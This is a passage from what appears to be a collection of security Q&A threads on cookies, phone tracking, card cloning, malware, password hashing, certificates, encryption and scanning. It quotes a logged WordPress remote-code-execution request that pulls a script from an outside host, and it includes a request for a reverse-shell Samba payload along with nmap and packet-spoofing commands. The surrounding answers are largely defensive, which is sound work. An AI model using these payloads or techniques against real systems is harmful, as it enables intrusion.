Thus, during all the attack, the server never sees any request with the cookie in it. Even if the server changed the cookie for every request (a "one-time-cookie"), the attack would still work.


Can the police track my phone even if I remove the SIM card? If the Police have your mobile phone number then I understand they can track your mobile phone. Now, I understand the mobile phone number is linked to the sim card   but if you simply change the sim card does that stop the Police from tracking you? Because I also understand that all mobile phones have a IMEI number.

Can the fact they had the sim card mobile number while inserted into a mobile phone give them access to that number so even if you change the sim card, they can track the mobile phone no matter what sim card is inserted? Hence, if so, is a new mobile phone and sim card is the only option ?

It depends on the method you are being tracked.  If we are talking about a "wiretap," then the tracking is being done at the telco and as long as you maintain the same phone number, regardless of SIM or phone, it will get captured.  If we are talking about false mobile towers, like Stingray devices, then you are being tracked by multiple factors; SIM, phone number, IMEI, etc.


Mifare DESfire EV1 cloning? How can I clone an encrypted Mifare DESfire EV1 Card?
Tried a 13.56Mhz Reader/writer from eBay but didn't work properly... I need to find any possible way of doing this.

You would need to extract the key of the card, which is what these cards generally protect against. Authentication protocols in general depend on a challenge response. In case of Mifare EV1 this is done with AES or 3DES. Basically the nonce (incase of DESfire 2 nonces) are encrypted:

Reader sends b1,b2
Card replies 3DES(b1)
Card replies 3DES(b2)
Reader verifies if these nonces have the correct encrypted value and authenticates or rejects

You can't just clone the card, it's not a simple card that simply supplies an ID. In case of this smart card you would need to extract the key which isn't easy.

There is some documentation on how to do this with side-channel attacks.


My cellphone is infected, and it keeps coming back My Android smartphone downloads apps automatically without any interaction. Generally, the apps are known but some are unknown apps. I can only assume this is a virus/malware.

So I decided to format the phone and installed antivirus/malware app(s). Sadly a few minutes later the unknown apps installed themselves and I cannot delete them even with the anti malware apps.

So in desperation, I reformatted my phone again and low and behold the app reinstalled itself without me asking it too.

Anti Virus Apps I've Tried:

Antivirus:

Avast
Bitdefender
AVG
Quick Heal

Anti Malware:

Malwarebytes.

Every time I scan my phone at least 6-8 malicious apps are found installed on it! I'm at a complete loss of what to do!

Why do the applications keep installing?
Can/How do I get rid of them?
Is it time for me to seek professional help/replace the phone/anything I can do on my own?

An increasingly common attack is to use your Google Play Store credentials to force apps onto the device via the web page for the app.  If you are seeing apps install automatically this is the likely source.

In any event if you got malware on your phone, you really need to change your Google credentials and reset any 2fa tokens or app-specific passwords that are outstanding.

Edit: just a bit more musing about android vulnerabilities

When you "format your phone" really you are removing everything in the user directory (all your downloaded apps and settings) and calling everything back from the "factory" directory.  If you have rooted your phone (intentionally or unintentionally) this area can get unlocked and a particularly persistent malware could copy itself there, where it would survive a "factory data reset".  If you have refreshed all your Google credentials and the phone still exhibits strange behavior, you will need to restore the factory section with a "rom" which is a file containing the entire storage image in the factory default state.  These are available online from various places (http://www.xda-developers.com is the most thorough) and the process is fairly simple for most models.


What are the security risks of logging the hash of rejected passwords? According to Is it common practice to log rejected passwords?, I know logging rejected plain text password is a bad idea, but how about if I store the hashed form of rejected passwords? I want to have more information about the failed login for analysis,eg:

Check if it is just typo : if a user often failed login at first time with the same hashed password but later it logs in successfully, then it is possibly just a typo
Check if there is someone trying to guess password : Some common passwords, just like 123456 and birthday, which has fixed hash, if those attempts exists, the failed login may be done by password guessers.
Check if a user have alternative account : some users may have alternative account but with different passwords, if a user usually failed to login with the same hash, and the hash is the same as another account but then login successfully, then it may be a user trying to login with an alternative account but forgot to switch password.

My question is, is logging the hashed form of rejected passwords has the same problem as logging plain text rejected passwords?

If properly hashed (i.e. with random salt and strong hash) a hashed password is not reversible and hashed passwords for different accounts differ even if the passwords are the same.

This means that almost none of the analysis you want to do can be done with the properly hashed (i.e. random salt) passwords in the first place, i.e. you gain almost nothing from logging passwords and at most you lose since you leak some information into places where an attacker might get easier access since logs are usually not considered as sensitive as stored passwords.

When using a plain hash instead (no salt) some of the things you mention are possible at the cost of an increased attack vector since now an attacker can use pre-computed hash tables to reverse your logged passwords.

Maybe you have some misconceptions about what proper password hashing means. I recommend reading How to securely hash passwords? to get an idea how proper password hashing is done and why it is done this way but in the following I will address some of the misconceptions you seem to have:

  Check if it is just typo : if a user often failed login at first time with the same hashed password but later it logs in successfully, then it is possibly just a typo

You cannot check a typo using the hashed passwords since even a small change on the input results in a huge change in the output. You also cannot check for the typo in the original passwords since you cannot reverse the hash to get the password for comparison. To check if the entered wrong password is always the same you could log the hash salted with the same salt as the stored (correct) password as Jon Bentley suggested in a comment. If the logs are at least as well protected as the stored passwords then this would only slightly increase the attack surface, but as I said logs are commonly not considered as sensitive as password storage.

  ... Some common passwords, just like 123456 and birthday, which has fixed hash, ...

Proper password hashing uses a random salt to make attacks using pre-computed hashes with common passwords impossible. This means that the same password results in a different hash when it gets hashed, i.e. your assumption of these passwords having a fixed hash is wrong. Again, you could use the more easy to reverse unsalted hashes here at the cost of an increased attack surface.

It might instead be better to do that kind of analysis when the entered password is still available and only log the result of this analysis.

  ... if a user usually failed to login with the same hash, and the hash is the same as another account but then login successfully, ...

Since hashes for the same password differ you need the originally entered password to do this kind of comparison. Since you cannot get this back from the logged hash it does not help to have the hashed password logged. Again, you could do this kind of analysis with unsalted hashes, but this would mean that all of your accounts must have their password available in the insecure unsalted way - which is a large increase of the attack surface. You could probably do this kind of analysis with salted passwords too but then would need to log the newly entered passwords salt-hashed with all the salts you currently have in use (i.e. one for each account).


A bit confused about PCI compliance I have a client that wants me to build her a simple e-commerce site for her small quilt store.  I'm going to use Stripe for the credit card handling.  The only info I'm going to keep on my system is the user's name.  Everything else will simply be funneled to Stripe.

Because the payment processing will be handled offsite, am I required to be PCI compliant?  I'm basically just worried about any hidden costs on her part.  She can't afford an audit or penetration test on top of the site development costs.  I know that there's a self-assessment form for really small businesses like hers, but I'm not sure if that's all I need or should do.

tldr; I'm not sure how to proceed in a way that's cost effective for her, and need some guidance.

Coming from a person that is in the middle of PCI compliance issues right now .. no. You don't need to be pci compliant if you are using a third party service to input and handle your credit cards. One if my smaller clients runs an commerce site specializing in jewelry.

As long as no cardholder data (the PAN, magnetic strip, PIN block, etc) is entered (and especially stored) on your systems you let the vendor that processes the payment handle all the burden.

To check if this is true you should only be handing a specific amount of funds owed or an itemized list to your provider. If you are handing them any details of the transaction beyond this you will need to look at at least a basic compliance questionnaire.

Note that I'm not familiar with your vendor. If it is anything like PayPal this will be true.


Is a self-signed certificate from my ISP-provided router a security threat? I recently found out that in order to log on to the web-based administration tool on my ISP-provided router, I need to accept a self-signed certificate it offers. I did a bit of reading and it sounds like self-signed certificates issued by an ISP can enable the ISP to perform MITM attacks on computers that accepted the certificate. (see Is it common practice for companies to MITM HTTPS traffic?)

Is this something I should be concerned about in my situation? If I accept the certificate, will I potentially be compromising end-to-end encryption with parties other than the ISP or my router's software?

When I view the details of the certificate, it says "Root certificate authority". Is this a synonym for self-signing or can this certificate be used for a MITM attack?

Here are screenshots of the details of the certificate, with things that looked like I shouldn't spread around on the internet blacked out:

Screenshot 1:

Screenshot 2:

Screenshot 3:

Not only is the certificate you show self-signed, but it's also a certificate authority, which means that it can issue more certificates for any website.

If you install that certificate into your browser as a trusted certificate authority, then yes, your ISP will be able to do the kind of MitM attacks that you're referencing.

I don't know whether simply clicking through the cert warning on that one page will install in, or simply ignore the warning for that one page. My guess is that if you click through this warning, this certificate will then show up in your browser's Trust Store of trusted Certificate Authorities, which would be bad.

I would be inclined to say that your ISP is not malicious, but rather they don't really understand how certificates work. If they were trying to MitM you, they would have persuaded you to install the cert when you first set up the router saying "The internet won't work without it", and indeed, you'd probably see all sorts of weird certs errors on otherwise normal websites, like google.com.


Malicious .so Library creation in CVE-2017-7494 Sambacry I'm trying to understand the whole process behind the Sambacry exploit.
The problem is that I'm having a little problem understanding how do you create the malicious .so library to be loaded by the exploit.
I tried several techniques and they don't work. I see some precompiled examples in github but I really want to understand how to create a bind or reverse generic linux shell and output it in .so format.

I've tried msfvenom outputting to elf-so and elf to no avail.

Can you help me understand how can I create a malicious samba .so library?

PS: This question IS NOT addressed here, I'm not asking about the exploitation process, I'm asking about the creation of the payload. Please don't tag it as a duplicate.

Thanks.

Here you can see the code of a poc library.so and the process to compile
https://github.com/omri9741/cve-2017-7494/blob/master/payload/


Is this a Malicious request? I noticed there were over 550 malicious request rejected by the wordpress firewall but only this was accepted with HTTP 200 OK. This is the URL

http://domainname.com//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://bearxcat.com//wp-includes/css/help.txt&wpaa=echo "h1loo1";

I am worried because i immediately googled the bearxcat.com, it was in another language and google stated this site might be hacked.

I immediately did a malware scan but nothing was found. I noticed after this request they sent /webconfig.txt.php, administrator/webconfig.txt.php but these were all rejected by the firewall.

Should i be worried about the one that was OK? Please Help!

This is attackers scanning for CVE-2019-9978 social warfare RCE (remote code execution) vulnerability

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-wordpress-social-warfare-plugin-cve-2019-9978/

It is trying to execute the benign test command of

echo "h1loo1"

The scanner/ attacker then tests to see whether they got the word "h1loo1" back in the response to know if the RCE succeeded or not.

As long as you don't have that plugin you're all good


Is HPKP a alternative to DNSSEC? Using the Public Key Pinning header the user will only trust in my SSL Certificate, supposedly.

If I use only the HPKP and the certificate is safe, the attacker not got it, still possible the attacker do a MITM or something like that?

In my mind, probably wrong, the attacker still able to redirect the user to another location, but he not have the cert, so the HPKP will block it. This will prevent the user to consume the content from the fake server.

Have a reason to use HPKP + DNSSEC?

HPKP is TOFU(Trust On First Use). So if a user system compromised, but the browser still retain the pin, when the malware redirect the url request to a fake certificate to their phony proxy. the browser will show error like "SSL_PINNED_KEY_NOT_IN_CERT_CHAIN" (varied depends on browser).

However, there is some site doing it wrongly, e.g. as report by Netcraft : HTTP Public Key Pinning: You’re doing it wrong!

In addition, because its TOFU nature, HPKP is not bulletproof to MiTM.

However, if you have an webapp/mobile app that inherit pin for HPKP, then your webapp are protected from MiTM attack if implemented properly


Securing Docker and LXC The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to cause damage to the host operating system.

However, it's definitely not a silver bullet. What needs to be done to secure Docker and LXC containers? What are the attack models, and how can they be secured and mitigated?

Docker and LXC are a great concept; isolate potentially vulnerable applications from the rest of the system to limit the damage they can do if something does go wrong.

They are not silver bullets, mostly due to limitations in the design of Linux itself i.e. root is root, even inside a chroot.
http://www.bpfh.net/simes/computing/chroot-break.html

There are ways of plugging the holes that LXC and docker don't yet cover. The most popular way is to use them in conjunction with mandatory access controls such as selinux.
http://mattoncloud.org/2012/07/16/are-lxc-containers-enough/


Is PHP OpenSSL safer than just using MySQL AES_ENCRYPT/DECRYPT alone? I wish to encrypt/decrypt data in my MySQL database stored on my server. I use a salted hash for my passwords. All encryption/decryption would occur on the server. I use PHP end points which my remote clients access. The end points then access the MySQL database.

I've got the following PHP code to cipher/decipher a message:

<?php
    $key = "mySecretKey";
    $cipher = "aes-128-gcm";
    $ivlen = openssl_cipher_iv_length($cipher);

    $iv = openssl_random_pseudo_bytes($ivlen);
    $ciphertext = openssl_encrypt("message to be encrypted", $cipher, $key,     $options=0, $iv, $tag);

    $original_plaintext = openssl_decrypt($ciphertext, $cipher, $key, 0, $iv, $tag);

    echo "original message: ".$original_plaintext."\n";

    // $iv and $tag change each time we encrypt the data, so store these
?>

... which I was going to use to store encrypted data in my database. However, I will also need to store $iv and $tag with my data as these change for each openssl_encrypt executed.

On the other hand, I could just use MySQL's AES_ENCRYPT functions. This option would much simplify my code, because I can just add AES_ENCRYPT(data, key) to my SQL code.

However, I get the feeling the PHP solution is more secure than AES_ENCRYPT alone. Is this true?

On the other hand, I'm not so sure. For example, if somebody got hold of my AES_ENCRYPT key, then they could quite as easily get hold of my PHP $key in which case they would also be able to decrypt the openssl_encrypt-ed messge too, since the $iv$ and $tag information would probably be as easy to get hold of if they've got their hands on the $key somehow.

Or maybe I'm going about my PHP solution the wrong way. Maybe $iv should not be generated each time encrypt a piece of information? Maybe $iv should be final, i.e. always the same, in which case $tag is always the same...

If you would do the encryption on the MySQL-server side, you would have to send the (unencrypted) data to the MySQL-server. To do this securely, you would need to ensure an encrypted connection to the MySQL-server to protect the data in-transit. Depending on your setup, the data could (partially) end up in a log file somewhere. This all adds a layer of complexity, without added security benefit.

Also read: Is “Why Should You Avoid AES In MySQL?” true?.

Encrypt on the PHP side
If you encrypt the data on the PHP side, you can make use of user-friendly packages (SymmetricEncryption or php-encryption spring to mind), and just store the encrypted string in your DB, which is a lot less complex.
Given your question about, for example, the requirement for the $iv, I strongly suggest you use a standard library!

So, in summary: Yes, using PHP OpenSSL is safer than MySQL AES_ENCODE/DECODE.


Is it generally a bad idea to encrypt database fields? I work on a tiny company, it's literally me (the programmer) and the owner. The owner has asked me to encrypt several fields in a database to protect the customers data. This is a web application that helps law firms manage their data, so basically it stores persons and lawsuits information (who is being sued, why, for how much). He considers this sensitive information that should not be easily seen. His fear is "I don't want unauthorized people to see this information". Only other law firms could be interested in this data, so this shouldn't be as important as credit cards, for example.

I've read a lot about this on the web and I was thinking on simply using symmetric encryption on these fields, so that the performance isn't that bad. The key would be stored on the server. However, this thread on stackoverflow says this is a bad idea.

I don't understand how encrypting the fields and saving the key on server can be so useless. I don't fear the discs being stolen because they are on Amazon EC2. I'm no security expert, but in my opinion, if anything could go wrong, I'd say the database leaks. Even then, the important information would be encrypted. Now if the guy managed to even hack to my EC2 server, well, I guess then there would be little to no protection I could do to help this. As we are a tiny company, we only have one server doing everything, from serving the pages to storing the data.

My question is, considering we can only afford one server, is encrypting those fields with a symmetric key, which is saved on this server, ok?

General comments. It sounds like it would be helpful for you and your boss to learn some basic security concepts, before proceeding.  Security is a specialized field.  You wouldn't ask a random person on the street to perform open-heart surgery on you; and you shouldn't expect an average software developer to know how to secure your systems.

I sense some misconceptions here.  For instance, it sounds like your boss has equated security with cryptography.  But this is a mistake.  As Bruce Schneier has emphasized, Cryptography is not magic pixie dust that you can sprinkle on a system to make it secure.  And as Roger Needham once famously said, If you think cryptography will solve your problem, either you don't understand cryptography, or you don't understand your problem.

When securing a computer system, one important concept is the threat model.  This means you need to think carefully about what kinds of attacks and adversaries you are trying to stop, and what you aren't.  A failure to think through the threat model clearly can lead to security theater: security mechanisms that look good on first glance, but actually are woefully inadequate in practice.  Good security management often comes down to risk management: careful analysis of what are the most serious risks, and then devising strategies to mitigate or manage those particular risks.

It is also important to understand that security is a weakest-link property: the security of your system is only as strong as the weakest link.  A vulnerability in any one part of the system can compromise the security of the entire system.  This means that there's no one answer that's going to be sufficient to protect your system; instead, to defend your system, you have to get security right in a number of places.

Diving into details. It sounds like your goals are to prevent unauthorized disclosure of sensitive data.  If so, you're going to need to focus on a number of items.  There's no one simple magic silver bullet that is going to solve this for you; you are going to need to work on application security generally.

Let me suggest some things that should be priorities for you, if I've understood your goals correctly:

Application security. You need to start studying up on web application security.  It doesn't matter how much crypto you throw at the problem; if an attacker can find a security hole in your application code, you are hosed.  For background on web application security, OWASP has many excellent resources.  Make sure you learn about the OWASP Top Ten, about XSS, SQL injection, input sanitization/validation, output escaping, whitelisting, and other concepts.
Access control. Your web application needs to have solid access controls, to ensure that one user of your system cannot access information of another user (without authorization).  The details of this will depend upon the specifics of your particular system, so if you want additional help on this, you'll probably need to post a separate question with more details about your application and your current strategy for access control.
Authentication. Your web application will need a way to authenticate its users.  The standard least-effort scheme is to just use a username and password.  However, this has serious limitations in practice that are well-understood.  If users choose their own passwords, they often choose poor passwords, and this can subvert the security of your system.
Secure software development lifecycle. You need to integrate security into the software development process.  When you work out the software architecture, you should be thinking about the security requirements and performing threat modelling and architectural risk analysis.  When writing code, you need to know about common implementation errors that can breach security and make sure to avoid them.  After the software is built, you need to test its security and constantly evaluate how you are doing at security.  When  you deploy the software, your operations folks need to know how to manage it securely.  Microsoft has some excellent resources on the secure software development lifecycle (SDL).  See also BSIMM for more.
Security assessment. If you are concerned about security, I suggest having the security of your application assessed.  A simple starting point might be to have someone perform a pentest of your web application, to check for certain kinds of common errors.  This is by no means a guarantee of security, but sometimes it can help serve as a wakeup call if there are many major problems present.  You might look at WhiteHat Security's services; there are also many others who will perform web pentesting.

If you are getting the sense that this is not a trivial undertaking, I apologize, but that is indeed the case.  On the other hand, the good news is that there are a lot of resources out there, and moreover, you don't need to become an expert-level security guru: you just need to become familiar with some basic concepts and some common security mistakes in web programming, and that will take care of most of your needs.


What are some tactics to overcome the externality problem of developers not getting enough security training? What are some 'pitches' to management to overcome security training issues?

Great question, and highly relevant!

First, recognize that training is only one facet of maintaining and building secure systems.  Having the best app developers won't save you if an attacker enters through an unpatched server, or if your bookkeeper is hooked by a phishing email.  Your organization should have a security policy that spells out a full plan; one aspect of the plan would likely be to provide developer training.  This is where a CISSP could help you prepare yourselves.

That said, if you're in a regulated field (PCI DSS, HIPAA, GLBA, SOX, Healthcare, etc.) a security plan that features developer training is often a requirement to pass audit.  That's probably the easiest sell, although it may only get you a bare minimum of training.

Have your systems been breached?  You might be able to build a case that better software could helps prevent the next breach.

Look around your industry at similar solution providers: have they been breached?  Do some research and show your management what it cost them when they were breached, and how a focus on security (not just training) might help you avoid becoming the next victim.

Could your customers using your systems be breached as a result of your negligence?  A robust security policy is not cheap, but it is much cheaper than lawsuits.

Do you have a relationship with a tool vendor that might offer secure development training?  I know Microsoft offers such courses; I expect others do too.  Check with your compiler vendor, your static code analysis vendor, or other similar company.  Pluralsight, Safari, Khan, and many other training companies have on-line training resources.  There's probably a MOOC out there that would get you a proper security education for free.

Also, check with your government.  They may have "cyber defense resources" available that could include training.  In the USA, NIST has the National Initiative for Cybersecurity Education (NICE), which could help you jumpstart things.

Is there an OWASP chapter nearby?  Attend a meeting.  Perhaps networking with them could get you a consultant or instructor for a reasonable price.  Also, there are many fine regional security conferences, and they're much cheaper than the big-name national and international conferences.  If there's one near your city, your company won't even have to pay for hotel rooms.  With nothing to give management but a guess, they're going to imagine that a security program would cost millions that they don't have.  Having a cost estimate makes the discussion with management at least possible.

I'm guessing your organization doesn't have a budget for security at this time.  Have you considered volunteering to be your organization's Security Champion?  Even if you don't know everything about security policies and practices at this stage in your career, just getting people talking about security issues might spur management to act in the next budget year.


Chrome status warning on a netbanking secure site connection I visited my bank's web banking site and clicked on the Green Lock in the address bar of my Google Chrome browser out of curiosity.

Under the "Connections" tab Chrome spits out this disturbing warning.

  "Your connection to netbanking.mybankname.com is encrypted with
  obsolete cryptography. The connection used TLS 1.2. The connection is
  encrypted using 3DES_EDE_CBC with SHA1 for message authentication and
  RSA as the key exchange mechanism"

How worrying is this? Is there anything I can do at the client end to mitigate my risks?

Is emailing my bank about this a reasonable course of action? Or is Google being over-sensitive?

The website is using SHA1 certificates to provide security. The new Chrome browser is showing it as a weak algorithm, because most of the organizations are already migrated to SHA2 certificates. It is just a warning, it does not mean that it would be a non-secured connection.


Does having 2 or more RFID-enabled cards in a wallet prevent all attacks? I've heard about RFID-shielding wallets and even individual card sleeves, but my wallet has multiple RFID cards in it (credit card, bus card, building entry card), and if I tap my whole wallet on a POS reader to try to pay for a transaction, it fails.

Why does it fail? Is the reader only reading 1 card with the strongest signal, but it's the wrong one (for example the bus card)? Or is it reading a mixed signal which it can't interpret?

Does having 2 RFID cards in a wallet cause them to shield each other from any possible attack? (even though I understand there aren't many attacks to be concerned about at the moment)

Failure of reading two cards in the field is a result of what happens in anticollision loop. Basically, readers can decide how they handle that situation.

For some applications it makes sense to perform only collision detection (where it is important for the operation context that user consciously selects the card he wants to use in the operation, like when it's payment transaction) and require one card only in the field.

ISO14443 standard allows to resolve such situation and reader can select the card it wishes to talk to and perform the operation, even with all of them.

Answer to your other questions is then that two cards side by side do not counter any attacks. It's simply the usage that defines the necessity to present one.


Could a workplace install a custom bios that gives them access to the system? This might be the wrong place to ask this, and if so please point me in the right direction. Anyway, a family member works at a public institution where laptops are provided to the staff, which includes them. They recently received a new laptop as their old one was quite sluggish. The workplace has directly stated that they have no use for used laptops, and therefore once a new system is given to a worker, the old one is now the property of said worker.
This family member knew that I could find a use for it, so they gave it to me. I plan to take out the old HDD running windows and replace it with an SSD running something like Ubuntu, but I'm slightly suspicious of low-level software such as the bios. We're not talking about an institution of national security or anything like that, and what the system is used for is not of high-level importance or clearance. But I do know that the workplace monitors workers' laptops and have remote access to them in order to solve any technical issues, and I'm wondering if they were potentially implemented on the bios level, rather than the application level. And theories?
TLDR: Could an old work laptop potentially allow access by the workplace through the bios or other low-level operations, even after the main drive is replaced?

Absolutely. Some corporate systems come pre-installed with BIOS-level access that is not dependant on the hard drive at all.
Computrace by Absolute is one such example.
If you try to enter the BIOS, you should have an indication of whether that's true and what type is being used.


Why is a public key called a key - isn't it a lock? I'm totally confused by the public key and private key terms. From my understanding, the "public key" is used for encrypting data, it's more like a lock which can lock something in and only the "private key" (key owner) can unlock it. So why call it "public key", why not call it "public lock"?

If "public key" is the right term and it's referring to key/lock analogy. Then where is the lock? And how these keys, locks work together?

If "public key" is not referring to the key/lock analogy, then could you explain an analogy for me to understand how the asymmetric encryption actually works:
1. when a public key encrypt something, a private key decrypt it
2. when a private key encrypt something, a public key to verify it

I'm not sure what locks you have experience with, but deadbolt locks are commonly used to lock from the outside.  Thus "Lock something in".

In this case, the analogy is that a "key" is something variable, and the "lock" is the algorithm.  The lock remains the same, while the key can be changed.  In public key cryptography the key used to lock is different from the key used to unlock.


ECDH is better than plain RSA? RSALabs recommend using at least 4096 bit long RSA keys to encrypt emails but we have some performance difficulty with 4096 RSA. my noob question is what is ECDH (i didn't understood from wikipedia formulas how it works)? ECDH is the RSA but also we add a symmetric secret to our private key ?

can ECDH work like RSA to upload a public key on a key server for people to encrypt their outgoing emails to me?
ECDH provide good security like very long RSA keys ? how its performance compared to plain RSA ?

I'm quite confused by the question, but I'm going to take my best shot. Aside: Normally I strongly dislike this approach, but intuition tells me that nagging the OP to clarify questions that s/he admits s/he doesn't fully understand is a worse violation of SEC:SE principles.

RSA, and all public key encryption, is very processor intensive. I'm not surprised that you have performance problems with a strong RSA key.   Symmetric key encryption is less processor intensive, but involves a fairly complex key management overhead, which is usually at least partially manual.  Manual key management is painful.

ECDH is a hybrid solution.  Perform encryption/decryption with a symmetric key (Good performance), and use the public keys to generate and manage session keys (solid key management with high automation, low overhead and low pain threshold).  Best of both worlds; you get the performance of symmetric keys without the key management overhead.

That is the 50,000 meter theory; if SEC:SE were a technical discussion site we could delve into the details.

The second set of questions is much more problemmatic.  Bruce Schneier has a pithy quote that I can't call to mind right now to the effect that 90% of the problems with crypto are not in the design, but in the implementation. How much performance improvement will you encounter? Depends on the implementation? How strong is the encryption? Depends on the implementation.


Does glibc2 version of the crypt function still use DES for alternative hashing methods? I'm trying to understand how typical Linux distributions generate the password field for entries in /etc/shadow. I can't figure out what encryption algorithm is being used to produce the encrypted password string.

For example:

$1$CQoPk7Zh$370xDLmeGD9m4aF/ciIlC.

From what I understand, the first value 1 signifies that an MD5 hashing method was used with the second value CQoPk7Zh as the salt. However, what was the encryption algorithm used to produce the final encrypted password string 370xDLmeGD9m4aF/ciIlC.?

The Linux man page for crypt(3) has a note for glibc2:

  If salt is a character string starting with the characters "$id$" followed by a string terminated by "$":

  $id$salt$encrypted

  then instead of using the DES machine, id identifies the encryption method used and this then determines how the
  rest of the password string is interpreted.

I think the semantics are throwing me off: the manual says id specifies the encryption method, but it's specifying the hashing method.

I believe the process is working like this:

password ==> MD5(password+salt) ==> hash ==> encryption-algorithm(hash) ==> encrypted-pass

So how do I determine the encryption algorithm? Specifically, what encryption algorithm is used when the id is 6 (SHA512)?

I think they really mean hashing method for the hash in use. The format is:

  "$id$salt$hashed", where "$id" is the algorithm used (On GNU/Linux, "$1$" stands for MD5, "$2a$" is Blowfish, "$5$" is SHA-256 and "$6$" is SHA-512 ...)

the source of which is available on wikipedia.

I've just looked at the manual and it does indeed say "encryption method". These are definitely not encryption methods like DES, but rather "one way" hash functions.


Can malware be transmitted via a USB charger plugged into a wall socket? I have a smart phone that I often plug into a wall socket for charging via a small adapter that rectifies the AC to DC power and transforms the voltage from line (120V or 240V) to 5 V DC, probably using a switching power supply.  Standard stuff.

I am concerned that if there is broadband on the power lines, for example powerline Ethernet, that unwanted digital signals might be transmitted to my phone. I realize many say that the electrical transformer and rectifier would damp out any digital signals (for example, as explained in this post), but I believe unless these high frequency signals are specifically filtered, they will come through. I have had experience with noise in supply lines coming into test equipment unless we had very nice power supplies (see for example, as explained here). I am unsure my $5 wall charger is that nice.

Does anyone have any data from testing or more detailed specifications on the wall chargers? Is this really a problem?

There is nothing stopping an attacker from putting a powerline ethernet transceiver as well as a USB-enabled microcontroller into a USB charger. This would allow them to communicate with the charger in the hope to offload some malware onto a smartphone plugged into that port. However, such a device would need to be highly specialized and specifically designed for this purpose. There is simply no way that powerline ethernet could just magically transmit data over the USB data lines to a smartphone.
If you are at all afraid that something like this might be happening, there are products that exist specifically to prevent such a scenario. For example, the SyncStop:

SyncStop prevents accidental data exchange when your device is plugged into someone else’s computer or a public charging station. SyncStop achieves this by blocking the data pins on any USB cable and allowing only power to flow through. This minimizes opportunities to steal your data or install malware on your mobile device.

You could also cut the cable open and physically disconnect the D+ and D- pins (which is effectively what the SyncStop does), and that will definitely stop all communication.
How it works
Powerline ethernet works by transmitting data on a high frequency over a building's mains power wiring. This is possible due to the fact that AC mains power uses either 50Hz, 60Hz or some other relatively low frequency. These devices transpose their data directly on top of the 120V/240V already present on the mains. You can read more about how this is actually don on a hardware level here.
Any wall charger that you find that is smaller than a baseball and weighs next to nothing is what is known as a switching AC to DC converter. These devices work by rectifying the mains power to DC, smoothing the rectified DC with a large capacitance, and then using a small transformer to switch the rectified DC at a very high speed (in the neighborhood of 100s of kHz to MHz). You can read more about them here.
Why it's not possible
To rectify the AC mains to DC, the charger uses either a full wave, or half wave rectifier. These are just diodes, any signal present on the AC mains will also be present on the rectified DC, and the same can be said of the smoothing circuitry. Even if the signal present on the rectified DC was able to somehow make its way across the transformer, the switching circuit in the charger will cause quite large portions of that signal to be lost when the transformer is switched off. After the transformer, there is yet more smoothing circuitry that ensures the final output is as close to 5V as possible meaning that even if some signal made it through the aforementioned gauntlet, it would be smoothed out into silky smooth 5V.
The above doesn't even consider how USB works. There are two data pins, D+, and D-. They form what is known as a differential pair, and they mirror each other. This means that any signal present on the 5V line will also need to be mirrored to ground in order for the USB transceiver on the phone to even bat an eye. Moreover, the USB specification includes packets, handshaking, and everything you would expect from a high-speed protocol like USB. I know what you are thinking "Doesn't Ethernet also have packets and handshaking?" and yes, it does,
but that's like saying a zebra is the same as a platypus.
So no, without modifying an off-the-shelf charger with some quite complicated hardware and software, it is impossible for this to happen.


nmap script "smb-os-discovery.nse" does not output information about the host OS? I was following this Lynda course.

https://www.linkedin.com/learning/ethical-hacking-enumeration/enumerating-smb-from-linux-episode-1

The instructor used this script to detect the OS of the target system.

nmap --script /usr/share/nmap/scripts/smb-os-discovery.nse 192.168.56.3

I have a OWASP box vm and Kali Linux running in a host only network in VirtualBox.

192.168.56.3 is the IP of OWASP. I'm running the above command from the Kali linux.

The output is

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-21 01:00 CDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.3
Host is up (0.00045s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
143/tcp  open  imap
443/tcp  open  https
445/tcp  open  microsoft-ds
5001/tcp open  commplex-link
8080/tcp open  http-proxy
8081/tcp open  blackice-icecap
MAC Address: 08:00:27:FE:F6:AC (Oracle VirtualBox virtual NIC)

A port scan is done but the OS detection part in the script is not performed.

For example this is the output shown in the tutorial

Location of the script

Result with verbose mode turned on

nmap --script=/usr/share/nmap/scripts/smb-os-discovery.nse 192.168.56.5 -v

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 08:52 CDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:52
Completed NSE at 08:52, 0.00s elapsed
Initiating ARP Ping Scan at 08:52
Scanning 192.168.56.5 [1 port]
Completed ARP Ping Scan at 08:52, 0.03s elapsed (1 total hosts)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Initiating SYN Stealth Scan at 08:52
Scanning 192.168.56.5 [1000 ports]
Completed SYN Stealth Scan at 08:53, 32.10s elapsed (1000 total ports)
NSE: Script scanning 192.168.56.5.
Initiating NSE at 08:53
Completed NSE at 08:53, 0.00s elapsed
Nmap scan report for 192.168.56.5
Host is up (0.031s latency).
All 1000 scanned ports on 192.168.56.5 are filtered
MAC Address: 08:00:27:E6:E5:59 (Oracle VirtualBox virtual NIC)

NSE: Script Post-scanning.
Initiating NSE at 08:53
Completed NSE at 08:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 32.37 seconds
           Raw packets sent: 2001 (88.028KB) | Rcvd: 1 (28B)

Script name doesn't need a full path. Try:
nmap --script=smb-os-discovery.nse 192.168.56.5 -v


Why can't I force an application to close active session by spoofing the Source IP address? I am trying to get my head around the setup above. A simple netcat session between two hosts and a pentesting machine is trying to get that established session to be terminated by only knowing source and destination IP:port combination. Shouldn't be sending a FIN packet with source IP:sport to destination IP:dport be sufficient to tear down this connection? I am using hping3 to craft packets but netcat session doesn't drop. Can you point me to some IEEE document where protection mechanism is explained or if not then do you think it is a application dependent protection?

To successfully close a connection the FIN packet must be acknowledged in both directions. One side of the connection sends a FIN packet, to which the other side must return a FIN+ACK, and then finally the original side must send back another ACK. You must spoof both parts of this handshake in order to be successful.

